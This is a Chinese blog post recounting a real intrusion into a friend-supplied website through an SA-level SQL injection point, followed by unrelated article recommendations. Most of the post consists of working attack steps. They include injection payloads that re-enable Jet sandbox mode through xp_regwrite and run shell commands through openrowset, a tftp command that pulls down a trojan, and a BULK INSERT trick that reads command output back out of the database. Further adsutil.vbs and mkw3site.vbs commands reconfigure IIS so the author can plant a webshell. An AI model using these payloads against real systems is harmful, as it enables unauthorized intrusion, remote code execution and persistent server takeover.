记一次巧妙的hacking

33、数据挖掘与机器学习优化全解析 本文深入解析了数据挖掘与机器学习中的关键概念与实践方法,涵盖P-hacking现象的危害与防范、统计建模与机器学习的差异、MSWeb和MovieLens数据集的处理与分析,重点介绍了奇异值分解(SVD)在推荐系统中的应用。同时,系统阐述了提升模型性能的四大策略:研究学习曲线判断偏差与方差、正确使用交叉验证避免信息泄露、选择合适的误差指标、搜索最佳超参数,并通过综合案例展示了从数据准备到模型优化的完整流程,为实际项目提供了可操作的指导。 阅读详情
 
那天,正在看资料,朋友丢了个URL过来,说是SA注入点,但数据库和WEB分离的,搞了半天没搞定。
我一听,SA注入点,应该很容易的说,于是就很随意的说,OK,没问题,等会给结果~
手工大概的判断了下,的确是个SA注入点。判断过程偶就不写了,精彩的地方当然要留到后面啦
操起NBSI这把大刀就开工了。首先尝试恢复xp_cmdshell和sp_OACreate两扩展存储,恢复后用两扩展存储随意执行了一个命令,但是从回显结果来判断,
命令没有成功执行。于是又恢复xp_servicecontrol扩展存储,由于该扩展存储没有回显,偶就随意的ECHO了一个文件到一个指定目录
然后用列目录的功能把那目录列了一遍,但并未发现写入的文件。心想,应该是管理员把那几个常用的hacking扩展存储都给X了吧。
不知道xp_regwrite扩展存储被X了没。于是乎,手工开启了沙盒模式

asp
?idx=32;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',0;--
然后尝试用沙盒模式往指定目录ECHO了个文件。

asp
?idx=32 and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/ias.mdb','select shell("cmd /c echo xx >c:/xxx/xxx.txt")'))--
再用列目录的功能把该目录给列了一遍,发现ECHO命令执行成功!HOHO,还好管理员没把这个扩展存储给X了。
有了可执行命令的扩展存储,就有了一线希望。于是想到直接用tftp UP个马上去。。执行tftp -i ip get muma.exe c:/muma.exe发现一点反映也没有。
猜测可能被管理员限制或DEL了。于是写了一句话的下载VBS,执行后,老半天没发现我们的马儿,难道,难道他不对外访问?
于是,我又执行了IPCONGFIG命令,并ECHO到np.tmp临时文件。可是我们看不到ECHO的内容,怎么才能得到数据库服务器的IP呢?嘿嘿,想想,他NBSI为什么能回显呢?我们也可以那样做。

asp
?idx=32;CREATE TABLE [NP_ICEHACK](ResultTxt nvarchar(1024) NULL)-- //创建一个放回显内容的表

asp
? idx=32 BULK INSERT [NP_ICEHACK] FROM 'np.tmp' WITH (KEEPNULLS);insert into [NP_ICEHACK] values ('g_over');Alter Table [NP_ICEHACK] add id int NOT NULL IDENTITY (1,1)-- //以备份的形式把临时文件np.tmp的内容写入NP_ICEHACK表中

然后用NBSI直接把该表跑出来。没过一会,可爱的IP就浮现在我的面前。于是再操起nmap,一阵扫描。不过扫描结果有点意外。就开了个80。
难道数据库没分离?PING下域名其IP和得到的数据库IP是不一样的。不管三七二十一了,先访问再说。。马上打上IP访问。
发现一片空白,奇怪!于是再随意打上个目录,还是空白。傻眼了。这这。。。这端口根据nmap的判断是IIS 5.0啊,难道误报?
突想,试下不就知道了。怎么个试法呢?嘿嘿,我用沙盒模式执行了net stop w3svc命令(停止整个WEB服务)。再访问80一看。YES,访问不到了。连那让人郁闷的空白页面也消失了。看来有戏,于是我再执行net start w3svc命令(启动整个WEB服务).再访问80一看,No web site is configured at this address.
呀,还有绑定域名,那不是可以做个虚拟目录。于是执行如下命令,查询了几个站点配置(把1依次往上加就可以看别的站点的配置情况)

cmd
/c Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs GET W3SVC/1/ServerBindings
查看第一个虚拟web站点的邦定端口。这里的W3SVC/1是IIS:/ LocalHostW3SVC/1的简写,而ServerBindings是他的属性
还是用NBSI列出来,列到3时,发现其绑定了一个域名,于是执行如下命令,添加虚拟目录

Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs CREATE w3svc/3/Root/np "IIsWebVirtualDir"
Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs SET w3svc/3/root/np/Path "C:/":
Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs SET w3svc/3/Root/np/AccessRead 1
Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs SET w3svc/3/Root/np/AccessWrite 1
Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs SET w3svc/3/Root/np/AccessScript 1
Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs SET w3svc/3/Root/np/EnableDirBrowsing 1
Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs SET w3svc/3/Root/np/AccessSource 1
添加后高兴的去访问那域名www.xxx.com/np/结果发现还是www.xxx.com的内容,怀疑没加成功,于是随便访问了一个目录,发现还是www.xxx.com的内容
难道是把所有的都转发到www.xxx.com???于是本地搭平台测试ING。。发现果然如自己所料,被转发了。
绝。。居然这样。。经过一段时间的思考,脑筋一转,心想:你不让我访问这个站,行。。我应承你,我自己建个站去,看你转。哼~
于是立即执行如下命令

cmd /c cscript c:/Inetpub/AdminScripts/mkw3site.vbs -r "
c:/" -t "test" -c "LocalHost" -o "80" -h "netpatch.xx.com"
把自己的域名绑定该数据库服务器IP。再访问netpatch.xx.com HOHO,终于可以了。
于是立即ECHO了一句话马上去,结束了这次hacing之旅.

BTW:其实,在此次的hacking中碰到很多问题,也查阅了许多相关资料,搭平台测试了N遍才测试OK的。并没有文章里那么顺利。
难度在于,对方只开了80且把仅有的WEB给转发了,而且又不对外访问。
别再为倍福EL6021/EL6022的RS485接线头疼了!手把手教你硬件跳线与软件配置(附Modbus RTU主站例程) 本文详细解析了倍福EL6021/EL6022模块的RS485硬件跳线与软件配置方法,包括Modbus RTU主站编程实战。从端子定义、跳线操作到TwinCAT 3环境设置,提供完整的通信例程和故障排查技巧,帮助工程师快速解决工业现场通信问题。 阅读详情

相关推荐

Anaconda下安装LabelImg

Anaconda下安装LabelImg

LYH8543的博客 756

七个合法学习黑客技术的网站,让你从萌新成为大佬

七个合法学习黑客技术的网站,让你从萌新成为大佬

bdfcfff77fa的博客 3387

信号编辑软件ZX/SignalEditing

信号编辑软件ZX/SignalEditing

weixin_45661395的博客 958

swing hacking code

swing hacking code 源代码及电子书:  

小石头 154

PackML工业标准解析:统一机器状态管理与数据交换的实践指南

在工业自动化与智能制造领域,实现设备间的互联互通与高效协同是核心挑战。这背后依赖于一套标准化的机器行为与数据交换规范,其原理在于通过定义统一的状态模型与接口协议,消除不同厂商设备间的“语言”隔阂。这项技术的核心价值在于大幅降低系统集成复杂度、提升运维效率与生产透明度,是构建数字化工厂的基石。其典型应用场景包括包装机械、离散制造产线等需要多设备协同的领域。本文聚焦的PackML(包装机械语言)标准,正是这一理念的杰出实践,它通过一套严谨的**状态机模型**和**数据标签(PackTags)** 体系,为机器提

weixin_30070339的博客 401

【COMSOL】修改内置物理场方程 模拟水沸腾的蒸汽泡运动

在COMSOL中通过弱贡献(weak contribution)节点,可以向任何内置模型方程中添加约束。这里,以模拟水沸腾的蒸汽泡运动为例,来讲一讲当我们研究的方程与模块方程不一样时,应该怎么增加新的贡献项。

u012161192的博客 9011

Hacking

凯撒大帝是罗马帝国的奠基人,他是一名杰出的政治家,军事家。不过今天不是讲他的历史故事,而是讲一个算法,叫凯撒密码,凯撒密码的原理很简单:就是通过把字母移动一定的位数来实现...

Python之禅的专栏 416

VCS多lib编译实战:如何高效处理Verilog模块重命名与分开编译

本文深入探讨了在复杂SoC设计中,如何利用VCS工具实现多库编译,以高效处理Verilog模块重命名与分开编译的工程难题。通过解析synopsys_sim.setup配置、Config映射机制,并提供完整的自动化脚本实战指南,帮助工程师构建健壮、可维护的编译环境,从而显著提升大型项目的编译效率和代码管理灵活性。

weixin_29169505的博客 357

装X代码

  装X代码      http://hackcode.ishoulu.com/scp/   http://hackcode.ishoulu.com/umbrella/   http://hackcode.ishoulu.com/aperture/   http://hackcode.ishoulu.com/combine/   http://hackcode.ishoulu...

dianyan5615的博客 1万+

Flutter UI代码生成实战:Cursor与MCP的企业级规范适配

本文探讨了在企业级Flutter项目中,如何通过配置Cursor Rules与定制Figma MCP工具,为AI代码生成设定严格的开发规范。该方法解决了AI生成代码与现有项目架构、命名约定及资源引用规范脱节的核心痛点,实现了从Figma设计稿到高质量、可维护Flutter UI代码的自动化流程,显著提升团队协作效率与代码一致性。

http9protocoller的博客 280

【芯片验证随心记】1.SystemVerilog中,rand和randc的区别?如何用constraint实现randc?

在SystemVerilog里,randc 的“不重复循环”特性是用一个 周期性排列器(permutation engine) 实现的,而这个引擎在 LRM 里并没有公开。我们只能在 “用户空间” 用 rand + constraint 去模仿它的行为。每次随机化只取 queue.pop_front(),用完再洗。在4次随机化内,y会依次出现0,1,2,3各一次(顺序随机)每次随机化,x可能是0-3中的任意值,可能连续多次相同。每次随机化时,在未使用的值里随机挑一个;第5次随机化时,重新生成新的排列周期。

qq_43172512的博客 342

codeforces 490C Hacking Cypher

题目链接 C. Hacking Cypher time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Polycarpus participates in a com

madaidao的专栏 578

【深度学习新浪潮】Qwen门控注意力斩获NeurIPS 2025最佳论文!技术解析与代码实现

Qwen团队的门控注意力机制获得NeurIPS 2025最佳论文,不仅是中国AI研究的重大突破,更是大模型架构创新的重要里程碑。这项研究证明,通过巧妙的架构设计,可以在不显著增加计算成本的前提下,大幅提升模型性能。正如论文所展示的,用一个极其简单的改动,同时解决了Transformer架构中的多个核心问题,这正是优秀研究的价值所在。该技术已成功应用于Qwen3大模型,为通义千问系列产品的性能提升提供了坚实的技术支撑。轻量化大模型设计多模态统一架构专用领域大模型优化边缘计算场景部署。

专注:太空算力、AI infra、异构调度、大模型成本工程 570

Hacking Cypher(数学)

ing into a new secure messenger. He's almost won. Having carefully studied the interaction protocol, Polycarpus came to the conclusion that the secret key can be obtained if he properly cuts the public key of the application into two parts. The public key

u014135990的专栏 216

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

Hacking Camp 闪耀开启,首批入选项目先睹为快

经过激烈角逐,TiDB Hackathon 2020 诞生了许多明星项目,如在 TiDB 上实现图数据库、基于 WASM 的 UDF 框架、完整易用的 IDE 等等,围绕 TiDB 实现了各项功能、性能层面的创新,构建了丰富的开源生态,令人不禁感叹“社区的力量”。 面对这些创意无限的项目,TiDB 社区中收到多方反馈,希望把这些项目进行下去,真正地在代码层面进行实现,后续可以落地到场景应用。TiDB 社区将启动为期 8 周的 Hacking Camp,由社区配备导师,协助项目团队一起制定合理的后续计划,并将

TiDB_PingCAP 的博客 5497

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

谈环境变量在Hacking中的利用

 我们知道,当我们把NC一类的常用小工具放在SYSTEM32时,不管我们当前路径在哪,都可以执行NC命令!------Hacking中也提供了不少方便,不是么?其实这就是 Path 变量所起的作用了!    如果将Path变量中的内容全部删除,那么原来的系统命令系统都将无法识别了。也就是说,当我们在CMD中输入些命令时,系统将以如下顺序查找相关程序,来达到直接调用程序或文件的目的!1.

|独自望海。。。 568

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

hacking new languages

元旦3天放假,恰好项目最紧的时候已经过去,闲下来,准备学习一些新技术。在离开大学使用C++开发IM软件一年半后,我成了一个典型的Windows程序员。1. 只使用Windows,忽略其他操作系统(Linux,FreeBSD etc.)2. 只使用visual studio(从vc6, 2003, 2005 etc.)开发IM程序,并且只使用VC部分。3. 更糟糕的是只使用C++,与古老的Win32

565

Hacking the Game——我的“孔颜乐处”

不合格的儒家信徒 大约在10多年前,我那时候成天泡在网易的宗教信仰版,在与很多不同宗教信仰的朋友讨论的过程中,我也逐渐有了自己清晰的三观,以及较为确定的信仰,于是我写了一篇《我的信仰地图》。自己写了这么一篇文章,当然是挺得意的,后来有了一个机会,我还把这篇文章发给了自己的大学哲学老师,内心其实是希望获得他的表扬的。在文章中,我对于儒家的看法是这样的: 在儒...

u013182351的博客 366

kernel hacking简单入门(转)

kernel hacking简单入门(转)[@more@]kernel hacking简单入门By: w00w00 Security Development article by Nicolas Dubee译:大鹰以下代码均在l...

csobhtdx34120的博客 1147

codeforces 796c Bank Hacking

题意: 有很多家银行,如果一个上线的银行和另一个上线的银行直接相连,那么称这种关系叫相邻; 如果一个上线的银行和另一个上线的银行通过第三个上线银行间接相连,称这种情况为半相邻。 每个银行一开始是上线的并且有一个初始的防卫力量(可能为负数),一个银行被抢劫之后就会下线并且再也不会上线,与它相邻和半相邻的所有上线的银行防卫力量都加一。 一个人要去抢劫银行,首先他会选择一家银行进行抢劫,之后抢劫...

weixin_30414245的博客 120

巧妙利用表自联偏移注入ACC数据库拿webshell(图)

<br />今天下午一朋友丢来一个网站说喜欢这个网站的源码,看能不能拿下,拿下以后说请我去腐败腐败。既然他都开口了,嘿嘿我还正愁没机会狠狠的蹭他几下,谁知道他自己找上门来了,不蹭白不蹭。先打开主站,用的是个通用防注入系统,过滤的很严格,对get跟post都进行了严格的参数过滤,转换编码格式也没能绕过注入系统,cookie注入也没能成功。后台也不能登陆,看来只能用旁注了。(如果有哪位大牛能突破这个通用防注入系统的话,不防发出来大家共享一下。)又拿出AK48,推荐一下这个工具,觉得比旁注王要好用一点,先有AK4

收集盒 Book box 1125

《开源思索集》一Hacking the Game——我的“孔颜乐处”

本节书摘来异步社区《开源思索集》一书中的第1章,作者: 庄表伟 责编: 杨海玲, 更多章节内容可以访问云栖社区“异步社区”公众号查看。 Hacking the Game——我的“孔颜乐处” 开源思索集不合格的儒家信徒大约在10多年前,那时候我成天泡在网易的宗教信仰版,在与很多不同宗教信仰的朋友讨论的过程中,我也逐渐有了自己清晰的三观,以及较为确定的信仰,...

weixin_34128411的博客 124

《GOOGLE HACKS巧妙使用网络搜索的技巧和工具(第二版)》

本书概述     对于Google,有很多东西是一般用户所不了解的。看起来

serank的专栏 1008

Google与GitHub高级搜索技术实战:网络安全资产监控

在网络安全领域,Google和GitHub高级搜索技术已成为资产发现与监控的核心工具。通过精确的搜索语法组合,安全人员能够高效定位暴露的敏感信息,如数据库凭证、API密钥等。这种技术不仅提升了信息收集效率,更实现了从被动扫描到主动监控的思维转变。自动化工作流程与实时分析进一步放大了其技术价值,广泛应用于渗透测试、漏洞挖掘等场景。特别是Google Hacking语法与GitHub代码搜索的深度结合,为网络安全防护提供了全新维度的解决方案。

weixin_29327977的博客 297

rkt 源码开发实战:构建流程、stage1 定制与依赖管理的完整 Hacking 指南

本篇指南面向希望在 rkt(pod-native 容器引擎)源码上进行二次开发、构建与调试的开发者。你将掌握从克隆源码、通过 `autogen.sh && configure && make` 三件套完成构建,到按需定制 `coreos`/`kvm`/`src`/`host`/`fly` 五种 stage1 执行引擎、运行单元与功能测试、用 glide 管理第三方依赖,以及遵循统一错误输出规范提交

gitblog_00758的博客 1030

无处不在的监控: Hacking Team:WP8 监控代码分析

猎豹移动安全中心 · 2015/07/16 15:130x00 背景最近Hacking Team被黑客入侵,近400GB的资料泄漏,在安全界炒的沸沸扬扬.其中泄漏的资料包括:源代码,0day,资料入侵项目相关信息,相关的账户密码,数据及音像资料,办公文档,邮件及图片。Hacking Team在意大利米兰注册了一家软件公司,主要销售入侵及监视功能的软件。其远程控制系统可以监测互联网用户的通讯,解密用...

weixin_34227447的博客 238
上一篇: servu.aspx
下一篇: Google高级技巧—GooGle Hack
HackCode
博客等级 码龄18年 12粉丝 55原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值